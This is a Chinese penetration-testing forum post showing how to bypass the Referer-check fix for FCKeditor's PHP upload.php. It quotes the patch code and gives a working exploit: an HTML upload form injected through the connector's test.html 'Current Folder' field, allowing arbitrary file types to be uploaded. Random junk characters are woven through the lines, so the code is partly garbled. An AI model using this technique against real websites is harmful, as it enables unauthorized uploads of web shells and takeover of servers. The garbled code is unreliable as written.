中国网络渗透测试联盟

标题: fckeditor 漏洞修复后的二次利用 [打印本页]

作者: admin    时间: 2013-1-11 21:12
标题: fckeditor 漏洞修复后的二次利用
漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php9 O! J' H2 x$ z: j& j* ?! V
网上给出的修复方案是! {8 m# y* A2 @
修复方法,删除FCK编辑器用其他的编辑器  E6 e. i; n) N# Q5 d/ W
或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件" t+ g! u8 o; X- n- d0 z3 t- Z1 X
在
1 y# G0 a& i  m( @$ `8 arequire(‘config.php’);5 A) p1 a- R3 [' N- c
require(‘util.php’);! F) k; ?2 V0 U
的下面添加以下代码—————————–+ G& u" _& y2 @" J, P7 }3 x3 g. [
//防止外部提交2 H6 F" Q, l* Z- Z3 p0 v& D( v
function outsidepost()
3 n6 X0 L  [; {8 A3 v{
0 q: V* l1 _& w1 H1 t$ P$servername=$_SERVER['SERVER_NAME'];
% W2 A2 i# e( r; t2 O8 Y& s$sub_from=@$_SERVER['HTTP_REFERER'];( W  }4 y" }* @. P
$sub_len=strlen($servername);+ d, T1 z% n" V. r. j
$checkfrom=substr($sub_from,7,$sub_len);/ x/ k, X6 l' j. n' H6 w# C. y8 ~, ~/ r
if($checkfrom!=$servername){
1 Q) ^- T+ w& F* Uecho(“you don’t outsidepost!”);
# y9 z5 K( s* @" s  P/ Jexit;4 s0 r+ k- W' t( @  I  |0 w0 S6 q
}
& b  x3 y$ U9 T1 k: `& a( Z' c}( p# U7 j8 ]; s5 \( p3 D- {
outsidepost();
3 s) C$ i" Q, A) j& @) }防止外部提交,但是没有防止内部提交,& g8 R5 O6 X  L9 X: q, j3 ?+ [% T
利用方法:, P" [9 Y1 `. l% ~
1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html  S5 k; X$ k4 Z+ G& ]( t6 [
2,在Current Folder 框输入5 W7 n& U) L5 y2 j/ ?' g
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>0 v8 C# j% |; k. ?
然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。
( b* z/ V7 z5 x2 [$ c5 bPS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2